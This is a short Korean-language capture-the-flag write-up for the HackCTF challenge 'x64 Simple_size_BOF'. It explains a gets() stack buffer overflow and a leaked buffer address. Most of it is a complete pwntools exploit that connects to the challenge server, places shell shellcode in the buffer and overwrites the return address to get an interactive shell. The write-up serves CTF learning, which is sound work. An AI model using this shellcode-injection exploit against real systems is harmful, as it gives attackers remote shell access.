[ HackCTF ] x64 Simple_size_BOF
포스트
취소

[ HackCTF ] x64 Simple_size_BOF

문제 분석


gets에서 BOF 취약점을 찾을 수 있다.

또한 puts를 통해 buffer의 주소를 알려주고 있다.



문제 풀이


buffer에 쉘코드를 넣고 gets에서 BOF를 통해 return address를 buffer로 덮어주면 된다.


payload는 다음과 같이 작성하면 된다.

shellcode - dummy(27952(buffer size)+8(rbp)-length(shellcode)) + (buffer address)


exploit 코드는 다음과 같다

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
from pwn import *

p = remote('ctf.j0n9hyun.xyz', 3005)

p.recvuntil('buf: ')
buf = int(p.recv(14),16)

context.arch = 'amd64'
shellcode = asm(shellcraft.sh())

payload = ''
payload += shellcode
payload += '\x90'*(0x6d38-len(shellcode))
payload += p64(buf)

p.sendline(payload)
p.interactive()